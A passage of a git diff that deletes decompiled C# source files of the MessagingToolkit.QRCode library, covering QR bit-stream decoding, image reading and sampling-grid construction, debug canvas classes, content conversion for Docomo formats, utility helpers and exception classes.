int num3 = 0; - int num4 = 0; - for (int i = 0; i < bitPointer + 1; i++) - { - num3 += 1 << i; - } - int num5 = (blocks[blockPointer] & num3) << numBits - (bitPointer + 1); - blockPointer++; - int num6 = blocks[blockPointer] << numBits - (bitPointer + 1 + 8); - blockPointer++; - for (int i = 0; i < numBits - (bitPointer + 1 + 8); i++) - { - num4 += 1 << i; - } - num4 <<= 8 - (numBits - (bitPointer + 1 + 8)); - int num7 = (blocks[blockPointer] & num4) >> 8 - (numBits - (bitPointer + 1 + 8)); - num = num5 + num6 + num7; - bitPointer -= (numBits - 8) % 8; - if (bitPointer < 0) - { - bitPointer = 8 + bitPointer; - } - return num; - } - Console.Out.WriteLine("ERROR!"); - return 0; - } - - internal virtual int guessMode(int mode) - { - return mode switch - { - 3 => 1, - 5 => 4, - 6 => 4, - 7 => 4, - 9 => 8, - 10 => 8, - 11 => 8, - 12 => 4, - 13 => 4, - 14 => 4, - 15 => 4, - _ => 8, - }; - } - - internal virtual int getDataLength(int modeIndicator) - { - int num = 0; - while (true) - { - bool flag = true; - if (modeIndicator >> num == 1) - { - break; - } - num++; - } - return getNextBits(sizeOfDataLengthInfo[dataLengthMode][num]); - } - - internal virtual string getFigureString(int dataLength) - { - int num = dataLength; - int num2 = 0; - string text = ""; - do - { - if (num >= 3) - { - num2 = getNextBits(10); - if (num2 < 100) - { - text += "0"; - } - if (num2 < 10) - { - text += "0"; - } - num -= 3; - } - else - { - switch (num) - { - case 2: - num2 = getNextBits(7); - if (num2 < 10) - { - text += "0"; - } - num -= 2; - break; - case 1: - num2 = getNextBits(4); - num--; - break; - } - } - text += Convert.ToString(num2); - } - while (num > 0); - return text; - } - - internal virtual string getRomanAndFigureString(int dataLength) - { - int num = dataLength; - int num2 = 0; - string text = ""; - char[] array = new char[45] - { - '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', - 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', - 'U', 'V', 'W', 'X', 'Y', 'Z', ' ', '$', '%', '*', - '+', '-', '.', '/', ':' - }; - do - { - if (num > 1) - { - num2 = getNextBits(11); - int num3 = num2 / 45; - int num4 = num2 % 45; - text += Convert.ToString(array[num3]); - text += Convert.ToString(array[num4]); - num -= 2; - } - else if (num == 1) - { - num2 = getNextBits(6); - text += Convert.ToString(array[num2]); - num--; - } - } - while (num > 0); - return text; - } - - public virtual sbyte[] get8bitByteArray(int dataLength) - { - int num = dataLength; - int num2 = 0; - MemoryStream memoryStream = new MemoryStream(); - do - { - canvas.println("Length: " + num); - num2 = getNextBits(8); - memoryStream.WriteByte((byte)num2); - num--; - } - while (num > 0); - return SystemUtils.ToSByteArray(memoryStream.ToArray()); - } - - internal virtual string get8bitByteString(int dataLength) - { - int num = dataLength; - int num2 = 0; - string text = ""; - do - { - num2 = getNextBits(8); - text += (char)num2; - num--; - } - while (num > 0); - return text; - } - - internal virtual string getKanjiString(int dataLength) - { - int num = dataLength; - int num2 = 0; - string text = ""; - do - { - num2 = getNextBits(13); - int num3 = num2 % 192; - int num4 = num2 / 192; - int num5 = (num4 << 8) + num3; - int num6 = 0; - num6 = ((num5 + 33088 > 40956) ? (num5 + 49472) : (num5 + 33088)); - text += new string(SystemUtils.ToCharArray(SystemUtils.ToByteArray(new sbyte[2] - { - (sbyte)(num6 >> 8), - (sbyte)(num6 & 0xFF) - }))); - num--; - } - while (num > 0); - return text; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeImageReader.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeImageReader.cs deleted file mode 100644 index 670560d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeImageReader.cs +++ /dev/null @@ -1,543 +0,0 @@ -using System; -using System.Collections; -using MessagingToolkit.QRCode.Codec.Data; -using MessagingToolkit.QRCode.Codec.Reader.Pattern; -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.ExceptionHandler; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Reader; - -public class QRCodeImageReader -{ - private class ModulePitch - { - public int top; - - public int left; - - public int bottom; - - public int right; - - private QRCodeImageReader enclosingInstance; - - public QRCodeImageReader Enclosing_Instance => enclosingInstance; - - public ModulePitch(QRCodeImageReader enclosingInstance) - { - InitBlock(enclosingInstance); - } - - private void InitBlock(QRCodeImageReader enclosingInstance) - { - this.enclosingInstance = enclosingInstance; - } - } - - public const bool POINT_DARK = true; - - public const bool POINT_LIGHT = false; - - internal DebugCanvas canvas; - - public static int DECIMAL_POINT = 21; - - internal SamplingGrid samplingGrid; - - internal bool[][] bitmap; - - public QRCodeImageReader() - { - canvas = QRCodeDecoder.Canvas; - } - - internal virtual bool[][] applyMedianFilter(bool[][] image, int threshold) - { - bool[][] array = new bool[image.Length][]; - for (int i = 0; i < image.Length; i++) - { - array[i] = new bool[image[0].Length]; - } - for (int j = 1; j < image[0].Length - 1; j++) - { - for (int k = 1; k < image.Length - 1; k++) - { - int num = 0; - for (int l = -1; l < 2; l++) - { - for (int m = -1; m < 2; m++) - { - if (image[k + m][j + l]) - { - num++; - } - } - } - if (num > threshold) - { - array[k][j] = true; - } - } - } - return array; - } - - internal virtual bool[][] applyCrossMaskingMedianFilter(bool[][] image, int threshold) - { - bool[][] array = new bool[image.Length][]; - for (int i = 0; i < image.Length; i++) - { - array[i] = new bool[image[0].Length]; - } - for (int j = 2; j < image[0].Length - 2; j++) - { - for (int k = 2; k < image.Length - 2; k++) - { - int num = 0; - for (int l = -2; l < 3; l++) - { - if (image[k + l][j]) - { - num++; - } - if (image[k][j + l]) - { - num++; - } - } - if (num > threshold) - { - array[k][j] = true; - } - } - } - return array; - } - - internal virtual bool[][] filterImage(int[][] image) - { - imageToGrayScale(image); - return grayScaleToBitmap(image); - } - - internal virtual void imageToGrayScale(int[][] image) - { - for (int i = 0; i < image[0].Length; i++) - { - for (int j = 0; j < image.Length; j++) - { - int num = (image[j][i] >> 16) & 0xFF; - int num2 = (image[j][i] >> 8) & 0xFF; - int num3 = image[j][i] & 0xFF; - int num4 = (num * 30 + num2 * 59 + num3 * 11) / 100; - image[j][i] = num4; - } - } - } - - internal virtual bool[][] grayScaleToBitmap(int[][] grayScale) - { - int[][] middleBrightnessPerArea = getMiddleBrightnessPerArea(grayScale); - int num = middleBrightnessPerArea.Length; - int num2 = grayScale.Length / num; - int num3 = grayScale[0].Length / num; - bool[][] array = new bool[grayScale.Length][]; - for (int i = 0; i < grayScale.Length; i++) - { - array[i] = new bool[grayScale[0].Length]; - } - for (int j = 0; j < num; j++) - { - for (int k = 0; k < num; k++) - { - for (int l = 0; l < num3; l++) - { - for (int m = 0; m < num2; m++) - { - array[num2 * k + m][num3 * j + l] = ((grayScale[num2 * k + m][num3 * j + l] < middleBrightnessPerArea[k][j]) ? true : false); - } - } - } - } - return array; - } - - internal virtual int[][] getMiddleBrightnessPerArea(int[][] image) - { - int num = 4; - int num2 = image.Length / num; - int num3 = image[0].Length / num; - int[][][] array = new int[num][][]; - for (int i = 0; i < num; i++) - { - array[i] = new int[num][]; - for (int j = 0; j < num; j++) - { - array[i][j] = new int[2]; - } - } - for (int k = 0; k < num; k++) - { - for (int l = 0; l < num; l++) - { - array[l][k][0] = 255; - for (int m = 0; m < num3; m++) - { - for (int n = 0; n < num2; n++) - { - int num4 = image[num2 * l + n][num3 * k + m]; - if (num4 < array[l][k][0]) - { - array[l][k][0] = num4; - } - if (num4 > array[l][k][1]) - { - array[l][k][1] = num4; - } - } - } - } - } - int[][] array2 = new int[num][]; - for (int num5 = 0; num5 < num; num5++) - { - array2[num5] = new int[num]; - } - for (int k = 0; k < num; k++) - { - for (int l = 0; l < num; l++) - { - array2[l][k] = (array[l][k][0] + array[l][k][1]) / 2; - } - } - return array2; - } - - public virtual QRCodeSymbol getQRCodeSymbol(int[][] image) - { - int num = ((image.Length < image[0].Length) ? image[0].Length : image.Length); - DECIMAL_POINT = 23 - QRCodeUtility.sqrt(num / 256); - bitmap = filterImage(image); - canvas.println("Drawing matrix."); - canvas.drawMatrix(bitmap); - canvas.println("Scanning Finder Pattern."); - FinderPattern finderPattern = null; - try - { - finderPattern = FinderPattern.findFinderPattern(bitmap); - } - catch (FinderPatternNotFoundException) - { - canvas.println("Not found, now retrying..."); - bitmap = applyCrossMaskingMedianFilter(bitmap, 5); - canvas.drawMatrix(bitmap); - for (int i = 0; i < 1000000000; i++) - { - } - try - { - finderPattern = FinderPattern.findFinderPattern(bitmap); - } - catch (FinderPatternNotFoundException ex2) - { - throw new SymbolNotFoundException(ex2.Message); - } - catch (VersionInformationException ex3) - { - throw new SymbolNotFoundException(ex3.Message); - } - } - catch (VersionInformationException ex4) - { - throw new SymbolNotFoundException(ex4.Message); - } - canvas.println("FinderPattern at"); - string str = finderPattern.getCenter(0).ToString() + finderPattern.getCenter(1).ToString() + finderPattern.getCenter(2).ToString(); - canvas.println(str); - int[] angle = finderPattern.getAngle(); - canvas.println("Angle*4098: Sin " + Convert.ToString(angle[0]) + " Cos " + Convert.ToString(angle[1])); - int version = finderPattern.Version; - canvas.println("Version: " + Convert.ToString(version)); - if (version < 1 || version > 40) - { - throw new InvalidVersionException("Invalid version: " + version); - } - AlignmentPattern alignmentPattern = null; - try - { - alignmentPattern = AlignmentPattern.findAlignmentPattern(bitmap, finderPattern); - } - catch (AlignmentPatternNotFoundException ex5) - { - throw new SymbolNotFoundException(ex5.Message); - } - int num2 = alignmentPattern.getCenter().Length; - canvas.println("AlignmentPatterns at"); - for (int j = 0; j < num2; j++) - { - string text = ""; - for (int k = 0; k < num2; k++) - { - text += alignmentPattern.getCenter()[k][j].ToString(); - } - canvas.println(text); - } - canvas.println("Creating sampling grid."); - samplingGrid = getSamplingGrid(finderPattern, alignmentPattern); - canvas.println("Reading grid."); - bool[][] array = null; - try - { - array = getQRCodeMatrix(bitmap, samplingGrid); - } - catch (IndexOutOfRangeException) - { - throw new SymbolNotFoundException("Sampling grid exceeded image boundary"); - } - return new QRCodeSymbol(array); - } - - public virtual QRCodeSymbol getQRCodeSymbolWithAdjustedGrid(Point adjust) - { - if (bitmap == null || samplingGrid == null) - { - throw new SystemException("This method must be called after QRCodeImageReader.getQRCodeSymbol() called"); - } - samplingGrid.adjust(adjust); - canvas.println("Sampling grid adjusted d(" + adjust.X + "," + adjust.Y + ")"); - bool[][] array = null; - try - { - array = getQRCodeMatrix(bitmap, samplingGrid); - } - catch (IndexOutOfRangeException) - { - throw new SymbolNotFoundException("Sampling grid exceeded image boundary"); - } - return new QRCodeSymbol(array); - } - - internal virtual SamplingGrid getSamplingGrid(FinderPattern finderPattern, AlignmentPattern alignmentPattern) - { - Point[][] center = alignmentPattern.getCenter(); - int version = finderPattern.Version; - int num = version / 7 + 2; - center[0][0] = finderPattern.getCenter(0); - center[num - 1][0] = finderPattern.getCenter(1); - center[0][num - 1] = finderPattern.getCenter(2); - int num2 = num - 1; - SamplingGrid samplingGrid = new SamplingGrid(num2); - Axis axis = new Axis(finderPattern.getAngle(), finderPattern.getModuleSize()); - for (int i = 0; i < num2; i++) - { - for (int j = 0; j < num2; j++) - { - ModulePitch modulePitch = new ModulePitch(this); - Line line = new Line(); - Line line2 = new Line(); - axis.ModulePitch = finderPattern.getModuleSize(); - Point[][] logicalCenter = AlignmentPattern.getLogicalCenter(finderPattern); - Point point = center[j][i]; - Point point2 = center[j + 1][i]; - Point point3 = center[j][i + 1]; - Point point4 = center[j + 1][i + 1]; - Point point5 = logicalCenter[j][i]; - Point point6 = logicalCenter[j + 1][i]; - Point point7 = logicalCenter[j][i + 1]; - Point point8 = logicalCenter[j + 1][i + 1]; - if (j == 0 && i == 0) - { - if (num2 == 1) - { - point = axis.translate(point, -3, -3); - point2 = axis.translate(point2, 3, -3); - point3 = axis.translate(point3, -3, 3); - point4 = axis.translate(point4, 6, 6); - point5.translate(-6, -6); - point6.translate(3, -3); - point7.translate(-3, 3); - point8.translate(6, 6); - } - else - { - point = axis.translate(point, -3, -3); - point2 = axis.translate(point2, 0, -6); - point3 = axis.translate(point3, -6, 0); - point5.translate(-6, -6); - point6.translate(0, -6); - point7.translate(-6, 0); - } - } - else if (j == 0 && i == num2 - 1) - { - point = axis.translate(point, -6, 0); - point3 = axis.translate(point3, -3, 3); - point4 = axis.translate(point4, 0, 6); - point5.translate(-6, 0); - point7.translate(-6, 6); - point8.translate(0, 6); - } - else if (j == num2 - 1 && i == 0) - { - point = axis.translate(point, 0, -6); - point2 = axis.translate(point2, 3, -3); - point4 = axis.translate(point4, 6, 0); - point5.translate(0, -6); - point6.translate(6, -6); - point8.translate(6, 0); - } - else if (j == num2 - 1 && i == num2 - 1) - { - point3 = axis.translate(point3, 0, 6); - point2 = axis.translate(point2, 6, 0); - point4 = axis.translate(point4, 6, 6); - point7.translate(0, 6); - point6.translate(6, 0); - point8.translate(6, 6); - } - else if (j == 0) - { - point = axis.translate(point, -6, 0); - point3 = axis.translate(point3, -6, 0); - point5.translate(-6, 0); - point7.translate(-6, 0); - } - else if (j == num2 - 1) - { - point2 = axis.translate(point2, 6, 0); - point4 = axis.translate(point4, 6, 0); - point6.translate(6, 0); - point8.translate(6, 0); - } - else if (i == 0) - { - point = axis.translate(point, 0, -6); - point2 = axis.translate(point2, 0, -6); - point5.translate(0, -6); - point6.translate(0, -6); - } - else if (i == num2 - 1) - { - point3 = axis.translate(point3, 0, 6); - point4 = axis.translate(point4, 0, 6); - point7.translate(0, 6); - point8.translate(0, 6); - } - if (j == 0) - { - point6.translate(1, 0); - point8.translate(1, 0); - } - else - { - point5.translate(-1, 0); - point7.translate(-1, 0); - } - if (i == 0) - { - point7.translate(0, 1); - point8.translate(0, 1); - } - else - { - point5.translate(0, -1); - point6.translate(0, -1); - } - int num3 = point6.X - point5.X; - int num4 = point7.Y - point5.Y; - if (version < 7) - { - num3 += 3; - num4 += 3; - } - modulePitch.top = getAreaModulePitch(point, point2, num3 - 1); - modulePitch.left = getAreaModulePitch(point, point3, num4 - 1); - modulePitch.bottom = getAreaModulePitch(point3, point4, num3 - 1); - modulePitch.right = getAreaModulePitch(point2, point4, num4 - 1); - line.setP1(point); - line2.setP1(point); - line.setP2(point3); - line2.setP2(point2); - samplingGrid.initGrid(j, i, num3, num4); - for (int k = 0; k < num3; k++) - { - Line line3 = new Line(line.getP1(), line.getP2()); - axis.Origin = line3.getP1(); - axis.ModulePitch = modulePitch.top; - line3.setP1(axis.translate(k, 0)); - axis.Origin = line3.getP2(); - axis.ModulePitch = modulePitch.bottom; - line3.setP2(axis.translate(k, 0)); - samplingGrid.setXLine(j, i, k, line3); - } - for (int k = 0; k < num4; k++) - { - Line line4 = new Line(line2.getP1(), line2.getP2()); - axis.Origin = line4.getP1(); - axis.ModulePitch = modulePitch.left; - line4.setP1(axis.translate(0, k)); - axis.Origin = line4.getP2(); - axis.ModulePitch = modulePitch.right; - line4.setP2(axis.translate(0, k)); - samplingGrid.setYLine(j, i, k, line4); - } - } - } - return samplingGrid; - } - - internal virtual int getAreaModulePitch(Point start, Point end, int logicalDistance) - { - Line line = new Line(start, end); - int length = line.Length; - return (length << DECIMAL_POINT) / logicalDistance; - } - - internal virtual bool[][] getQRCodeMatrix(bool[][] image, SamplingGrid gridLines) - { - int totalWidth = gridLines.TotalWidth; - canvas.println("gridSize=" + totalWidth); - Point point = null; - bool[][] array = new bool[totalWidth][]; - for (int i = 0; i < totalWidth; i++) - { - array[i] = new bool[totalWidth]; - } - for (int j = 0; j < gridLines.getHeight(); j++) - { - for (int k = 0; k < gridLines.getWidth(); k++) - { - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - for (int l = 0; l < gridLines.getHeight(k, j); l++) - { - for (int m = 0; m < gridLines.getWidth(k, j); m++) - { - int x = gridLines.getXLine(k, j, m).getP1().X; - int y = gridLines.getXLine(k, j, m).getP1().Y; - int x2 = gridLines.getXLine(k, j, m).getP2().X; - int y2 = gridLines.getXLine(k, j, m).getP2().Y; - int x3 = gridLines.getYLine(k, j, l).getP1().X; - int y3 = gridLines.getYLine(k, j, l).getP1().Y; - int x4 = gridLines.getYLine(k, j, l).getP2().X; - int y4 = gridLines.getYLine(k, j, l).getP2().Y; - int num = (y2 - y) * (x3 - x4) - (y4 - y3) * (x - x2); - int num2 = (x * y2 - x2 * y) * (x3 - x4) - (x3 * y4 - x4 * y3) * (x - x2); - int num3 = (x3 * y4 - x4 * y3) * (y2 - y) - (x * y2 - x2 * y) * (y4 - y3); - array[gridLines.getX(k, m)][gridLines.getY(j, l)] = image[num2 / num][num3 / num]; - if (j == gridLines.getHeight() - 1 && k == gridLines.getWidth() - 1 && l == gridLines.getHeight(k, j) - 1 && m == gridLines.getWidth(k, j) - 1) - { - point = new Point(num2 / num, num3 / num); - } - } - } - } - } - if (point.X > image.Length - 1 || point.Y > image[0].Length - 1) - { - throw new IndexOutOfRangeException("Sampling grid pointed out of image"); - } - canvas.drawPoint(point, Color_Fields.BLUE); - return array; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color.cs deleted file mode 100644 index 664618d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Util; - -public interface Color -{ -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color_Fields.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color_Fields.cs deleted file mode 100644 index 3bfe028..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/Color_Fields.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System.Runtime.InteropServices; - -namespace MessagingToolkit.QRCode.Codec.Util; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct Color_Fields -{ - public static readonly int GRAY = 11184810; - - public static readonly int LIGHTGRAY = 12303291; - - public static readonly int DARKGRAY = 4473924; - - public static readonly int BLACK = 0; - - public static readonly int WHITE = 16777215; - - public static readonly int BLUE = 8947967; - - public static readonly int GREEN = 8978312; - - public static readonly int LIGHTBLUE = 12303359; - - public static readonly int LIGHTGREEN = 12320699; - - public static readonly int RED = 267946120; - - public static readonly int ORANGE = 16777096; - - public static readonly int LIGHTRED = 16759739; -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ConsoleCanvas.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ConsoleCanvas.cs deleted file mode 100644 index dae89da..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ConsoleCanvas.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Util; - -public class ConsoleCanvas : DebugCanvas -{ - public void println(string str) - { - Console.WriteLine(str); - } - - public void drawPoint(Point point, int color) - { - } - - public void drawCross(Point point, int color) - { - } - - public void drawPoints(Point[] points, int color) - { - } - - public void drawLine(Line line, int color) - { - } - - public void drawLines(Line[] lines, int color) - { - } - - public void drawPolygon(Point[] points, int color) - { - } - - public void drawMatrix(bool[][] matrix) - { - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ContentConverter.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ContentConverter.cs deleted file mode 100644 index 7efe5a4..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/ContentConverter.cs +++ /dev/null @@ -1,79 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Util; - -public class ContentConverter -{ - internal static char n = '\n'; - - public static string convert(string targetString) - { - if (targetString == null) - { - return targetString; - } - if (targetString.IndexOf("MEBKM:") > -1) - { - targetString = convertDocomoBookmark(targetString); - } - if (targetString.IndexOf("MECARD:") > -1) - { - targetString = convertDocomoAddressBook(targetString); - } - if (targetString.IndexOf("MATMSG:") > -1) - { - targetString = convertDocomoMailto(targetString); - } - if (targetString.IndexOf("http\\://") > -1) - { - targetString = replaceString(targetString, "http\\://", "\nhttp://"); - } - return targetString; - } - - private static string convertDocomoBookmark(string targetString) - { - targetString = removeString(targetString, "MEBKM:"); - targetString = removeString(targetString, "TITLE:"); - targetString = removeString(targetString, ";"); - targetString = removeString(targetString, "URL:"); - return targetString; - } - - private static string convertDocomoAddressBook(string targetString) - { - targetString = removeString(targetString, "MECARD:"); - targetString = removeString(targetString, ";"); - targetString = replaceString(targetString, "N:", "NAME1:"); - targetString = replaceString(targetString, "SOUND:", n + "NAME2:"); - targetString = replaceString(targetString, "TEL:", n + "TEL1:"); - targetString = replaceString(targetString, "EMAIL:", n + "MAIL1:"); - targetString += n; - return targetString; - } - - private static string convertDocomoMailto(string s) - { - string s2 = s; - char c = '\n'; - s2 = removeString(s2, "MATMSG:"); - s2 = removeString(s2, ";"); - s2 = replaceString(s2, "TO:", "MAILTO:"); - s2 = replaceString(s2, "SUB:", c + "SUBJECT:"); - s2 = replaceString(s2, "BODY:", c + "BODY:"); - return s2 + c; - } - - private static string replaceString(string s, string s1, string s2) - { - string text = s; - for (int num = text.IndexOf(s1, 0); num > -1; num = text.IndexOf(s1, num + s2.Length)) - { - text = text.Substring(0, num) + s2 + text.Substring(num + s1.Length); - } - return text; - } - - private static string removeString(string s, string s1) - { - return replaceString(s, s1, ""); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvas.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvas.cs deleted file mode 100644 index c53db2d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvas.cs +++ /dev/null @@ -1,22 +0,0 @@ -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Util; - -public interface DebugCanvas -{ - void println(string str); - - void drawPoint(Point point, int color); - - void drawCross(Point point, int color); - - void drawPoints(Point[] points, int color); - - void drawLine(Line line, int color); - - void drawLines(Line[] lines, int color); - - void drawPolygon(Point[] points, int color); - - void drawMatrix(bool[][] matrix); -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvasAdapter.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvasAdapter.cs deleted file mode 100644 index 5657a6d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/DebugCanvasAdapter.cs +++ /dev/null @@ -1,38 +0,0 @@ -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Util; - -public class DebugCanvasAdapter : DebugCanvas -{ - public virtual void println(string string_Renamed) - { - } - - public virtual void drawPoint(Point point, int color) - { - } - - public virtual void drawCross(Point point, int color) - { - } - - public virtual void drawPoints(Point[] points, int color) - { - } - - public virtual void drawLine(Line line, int color) - { - } - - public virtual void drawLines(Line[] lines, int color) - { - } - - public virtual void drawPolygon(Point[] points, int color) - { - } - - public virtual void drawMatrix(bool[][] matrix) - { - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/QRCodeUtility.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/QRCodeUtility.cs deleted file mode 100644 index 26357d3..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/QRCodeUtility.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System.Text; - -namespace MessagingToolkit.QRCode.Codec.Util; - -public class QRCodeUtility -{ - public static int sqrt(int val) - { - int num = 0; - int num2 = 32768; - int num3 = 15; - do - { - int num4; - if (val >= (num4 = (num << 1) + num2 << num3--)) - { - num += num2; - val -= num4; - } - } - while ((num2 >>= 1) > 0); - return num; - } - - public static bool IsUniCode(string value) - { - byte[] characters = AsciiStringToByteArray(value); - byte[] characters2 = UnicodeStringToByteArray(value); - string text = FromASCIIByteArray(characters); - string text2 = FromUnicodeByteArray(characters2); - if (text != text2) - { - return true; - } - return false; - } - - public static bool IsUnicode(byte[] byteData) - { - string str = FromASCIIByteArray(byteData); - string str2 = FromUnicodeByteArray(byteData); - byte[] array = AsciiStringToByteArray(str); - byte[] array2 = UnicodeStringToByteArray(str2); - if (array[0] != array2[0]) - { - return true; - } - return false; - } - - public static string FromASCIIByteArray(byte[] characters) - { - ASCIIEncoding aSCIIEncoding = new ASCIIEncoding(); - return aSCIIEncoding.GetString(characters); - } - - public static string FromUnicodeByteArray(byte[] characters) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - return unicodeEncoding.GetString(characters); - } - - public static byte[] AsciiStringToByteArray(string str) - { - ASCIIEncoding aSCIIEncoding = new ASCIIEncoding(); - return aSCIIEncoding.GetBytes(str); - } - - public static byte[] UnicodeStringToByteArray(string str) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - return unicodeEncoding.GetBytes(str); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/SystemUtils.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/SystemUtils.cs deleted file mode 100644 index 65702bb..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Util/SystemUtils.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System; -using System.IO; -using System.Text; - -namespace MessagingToolkit.QRCode.Codec.Util; - -public class SystemUtils -{ - public static int ReadInput(Stream sourceStream, sbyte[] target, int start, int count) - { - if (target.Length == 0) - { - return 0; - } - byte[] array = new byte[target.Length]; - int num = sourceStream.Read(array, start, count); - if (num == 0) - { - return -1; - } - for (int i = start; i < start + num; i++) - { - target[i] = (sbyte)array[i]; - } - return num; - } - - public static int ReadInput(TextReader sourceTextReader, short[] target, int start, int count) - { - if (target.Length == 0) - { - return 0; - } - char[] array = new char[target.Length]; - int num = sourceTextReader.Read(array, start, count); - if (num == 0) - { - return -1; - } - for (int i = start; i < start + num; i++) - { - target[i] = (short)array[i]; - } - return num; - } - - public static void WriteStackTrace(Exception throwable, TextWriter stream) - { - stream.Write(throwable.StackTrace); - stream.Flush(); - } - - public static int URShift(int number, int bits) - { - if (number >= 0) - { - return number >> bits; - } - return (number >> bits) + (2 << ~bits); - } - - public static int URShift(int number, long bits) - { - return URShift(number, (int)bits); - } - - public static long URShift(long number, int bits) - { - if (number >= 0) - { - return number >> bits; - } - return (number >> bits) + (2L << ~bits); - } - - public static long URShift(long number, long bits) - { - return URShift(number, (int)bits); - } - - public static byte[] ToByteArray(sbyte[] sbyteArray) - { - byte[] array = null; - if (sbyteArray != null) - { - array = new byte[sbyteArray.Length]; - for (int i = 0; i < sbyteArray.Length; i++) - { - array[i] = (byte)sbyteArray[i]; - } - } - return array; - } - - public static byte[] ToByteArray(string sourceString) - { - return Encoding.UTF8.GetBytes(sourceString); - } - - public static byte[] ToByteArray(object[] tempObjectArray) - { - byte[] array = null; - if (tempObjectArray != null) - { - array = new byte[tempObjectArray.Length]; - for (int i = 0; i < tempObjectArray.Length; i++) - { - array[i] = (byte)tempObjectArray[i]; - } - } - return array; - } - - public static sbyte[] ToSByteArray(byte[] byteArray) - { - sbyte[] array = null; - if (byteArray != null) - { - array = new sbyte[byteArray.Length]; - for (int i = 0; i < byteArray.Length; i++) - { - array[i] = (sbyte)byteArray[i]; - } - } - return array; - } - - public static char[] ToCharArray(sbyte[] sByteArray) - { - return Encoding.UTF8.GetChars(ToByteArray(sByteArray)); - } - - public static char[] ToCharArray(byte[] byteArray) - { - return Encoding.UTF8.GetChars(byteArray); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/AlignmentPatternNotFoundException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/AlignmentPatternNotFoundException.cs deleted file mode 100644 index 96450e9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/AlignmentPatternNotFoundException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class AlignmentPatternNotFoundException : ArgumentException -{ - internal string message = null; - - public override string Message => message; - - public AlignmentPatternNotFoundException(string message) - { - this.message = message; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/DecodingFailedException.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/DecodingFailedException.cs deleted file mode 100644 index ccb4e67..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/ExceptionHandler/DecodingFailedException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace MessagingToolkit.QRCode.ExceptionHandler; - -[Serializable] -public class DecodingFailedException : ArgumentException -{ - internal string message = null; - - public override string Message => message; - - public DecodingFailedException(string message) - { - this.message = message; - } -} diff --git 